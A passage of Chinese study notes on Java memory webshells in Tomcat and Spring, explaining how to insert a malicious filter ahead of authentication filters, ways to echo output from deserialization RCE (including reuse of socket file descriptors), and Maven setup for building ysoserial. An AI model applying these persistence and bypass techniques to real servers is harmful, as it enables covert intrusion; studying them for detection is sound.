normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">4.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">创建 FilterMap ，将我们的 Filter 和 urlpattern 相对应，存放到 filterMaps中（由于 Filter 生效会有一个先后顺序，所以我们一般都是放在最前面，让我们的 Filter 最先触发）</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:宋体;">内存马/反序列化RCE 回显方式</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">报错回显</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">web中获取当前上下文对象（response、context、writer等）</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">tomcat通过applicationFilterChain中的lastServicedRequest和lastServicedResponse设置并获取当前ThreadLocal的Request和Response变量</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">spring通过ContextLoader.getCurrentWebApplicationContext().getServletContext()获得</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">spring也可以通过RequestContextHolder.getRequestAttributes().getRequest()获得</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">可以出网情况下OOB</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">4.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">在LINUX环境下，可以通过文件描述符&#34;/proc/self/fd/i&#34;获取到网络连接，在java中我们可以直接通过文件描述符获取到一个Stream对象，对当前网络连接进行读写操作，可以釜底抽薪在根源上解决回显问题（Poller内存马的出现已经解决fd的问题，这个方法感觉被替代了）</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">通过指定客户端发起请求的源端口号，通过cat grep awk组合大法在tcp表中拿到inode，用拿到的inode号再去fd目录下再用cat grep wak大法拿到文件描述符的数字，再调用java代码打开文件描述符即可实现带内回显</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://xz.aliyun.com/t/7307" target="_blank">https://xz.aliyun.com/t/7307</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">这个文章的评论提了利用socks的fd文件做80端口复用的方法，可以再去看下suo5的脚本看能不能改造流量转发工具</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="http://www.phpweblog.net/GaRY/archive/2011/10/09/PHP_Port_Reuse_With_Apache_FD.html" target="_blank">http://www.phpweblog.net/GaRY/archive/2011/10/09/PHP_Port_Reuse_With_Apache_FD.html</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马反序列化rce-回显方式;"><span style="font-family:Cambria;">天下大木头文章中提到的参考链接文章和参考链接文章中提到的参考链接都去看一遍，有重复但都有额外内容</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="font-family:宋体;">内存马类型</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Calibri;">tomcat</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">filter</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">listener</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">servlet</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">java agent </span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">Spring Interceptor（拦截器） 内存马</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">Valve</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">Websocket</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">Executor</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马类型;"><span style="mso-bookmark:tomcat-2;"><span style="font-family:Cambria;">Spring Controller</span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Calibri;">filter内存马</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">反射修改final属性值</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;"><img data-ratio="0.09107142857142857" style="width:553.8084106445312px;height:51.20000076293945px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=2e3e47b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKjXN30gjQW0N4dibU2Pgft7M9DWexXS6wEZPD4WRsJgKicjv7AN7vibuqA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;"><img data-ratio="0.43214285714285716" style="width:553.8084106445312px;height:241.58999633789062px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=b9ad4ef7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKdga2OjkZHnKcQXPHcs6yxzluNcMZNa3azrd3M7RKYPmfJ7Z5IVVaow%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">filterRegistration</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">addMappingForUrlPatterns</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">java</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">util</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">EnumSet</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">of</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">DispatcherType</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">REQUEST</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">),</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">false</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;/*&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">});</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//这里添加filtermap<span style="mso-spacerun:yes;">                    </span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">这里第二个参数是false默认会把filter加到首位，但是后面还是要强制把filter的位置放到第一个，beichen师傅讲解原因如下：</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">是为了让自己的过滤器永远排在第一位，也就是当请求过来的时候优先调用恶意的过滤器，为什么这么写呢，假如有的网站有鉴权过滤器，不登录的用户永远访问不到你的过滤器</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">用everything搜索maven找到idea安装的maven把路径添加到环境变量</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">C:\Program Files\JetBrains\IntelliJ IDEA 2023.1\plugins\maven\lib\maven3\bin</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">打包三梦和</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;">kingkaki</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">的ysoserial测试,可以在bin/mvn.cmd中修改配置路径指定java的版本</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">mvn package -DskipTests</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">一定要修改maven源!<span style="mso-spacerun:yes;">  </span>conf/setting.xml</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">mirror</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;<span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">id</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;nexus-aliyun</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">id</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;<span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">mirrorOf</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;central</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">mirrorOf</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;<span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">name</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;Nexus aliyun</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">name</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;<span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                    </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">      </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">url</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;<a href="http://maven.aliyun.com/nexus/content/groups/public" target="_blank">http://maven.aliyun.com/nexus/content/groups/public</a></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">url</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;<span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                      </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">mirror</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                        

                        </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">还要修改pom.xml中的org.apache.maven.plugins和maven-assembly-plugin</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                        

                        </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">groupId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;org.apache.maven.plugins</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">groupId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span 